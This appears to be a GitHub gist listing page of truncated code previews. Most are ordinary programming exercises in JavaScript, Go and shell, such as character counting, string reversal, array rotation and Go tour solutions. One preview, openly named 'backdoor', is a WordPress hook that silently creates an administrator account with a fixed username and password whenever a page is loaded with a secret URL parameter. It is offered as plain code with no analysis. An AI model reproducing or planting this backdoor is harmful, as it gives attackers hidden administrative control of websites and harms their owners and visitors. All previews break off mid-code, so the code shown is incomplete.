This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Given a string, return the character count for each distinct character in the string. | |
· Example: "abacca" -> a: 3, b: 1, c: 2 | |
· Once again, do not assume that “abacca” is the only string it will handle | |
*/ | |
const charCount = (s) => { | |
return s.split('').reduce((chars, a) => { | |
chars[a] = (chars[a] || 0) + 1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Given a string, write a function or method that takes in that string, and returns the same string in reverse order. | |
· Example: Given the string “Hello”, your program would return “olleH” | |
· Do not assume that “Hello” is the only string it will handle | |
Please code without using framework string reversal | |
*/ | |
const stringReversal = (s) => s.split('').reverse().join(''); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function meagrams(word, cb){ | |
var grams = []; | |
for(w in words){ | |
if(word.length === words[w].length){ | |
var diff1 = 0; | |
var diff2 = 0; | |
var word1 = word.split('').sort().join('') | |
var word2 = words[w].split('').sort().join('') | |
for(var i = 0; i < word.length; i++){ | |
if(occurances(words[w][i], words[w]) !== occurances(words[w][i], word)) diff1++; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"code.google.com/p/go-tour/tree" | |
"fmt" | |
) | |
// Walk walks the tree t sending all values | |
// from the tree to the channel ch. | |
func Walk(t *tree.Tree, ch chan int) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"code.google.com/p/go-tour/wc" | |
"strings" | |
) | |
func WordCount(s string) map[string]int { | |
var words = strings.Split(s, " ") | |
var mapper map[string]int |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package solution | |
func Solution(A []int, K int) []int { | |
if len(A) < 2 || K == 0 { return A } | |
if K > len(A) { K = K % len(A) } | |
x, a := A[len(A)-K:len(A)], A[:len(A)-K] | |
return append(x, a...) | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'backdoor'); | |
function backdoor() { | |
if ($_GET['backdoor'] == 'open') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('username')) { | |
$user_id = wp_create_user('username', 'password'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
$(".intro-message a").on('click', function(e) { | |
e.preventDefault(); | |
var hash = this.hash; | |
$('html, body').animate({ | |
scrollTop: $(hash).offset().top | |
}, 3000, function(){ | |
window.location.hash = hash; | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
github-repo() { | |
repo_name=$1 | |
dir_name=`basename $(pwd)` | |
if [ "$repo_name" = "" ]; then | |
echo "Repo name (hit enter to use '$dir_name')?" | |
read repo_name | |
fi | |
if [ "$repo_name" = "" ]; then |
NewerOlder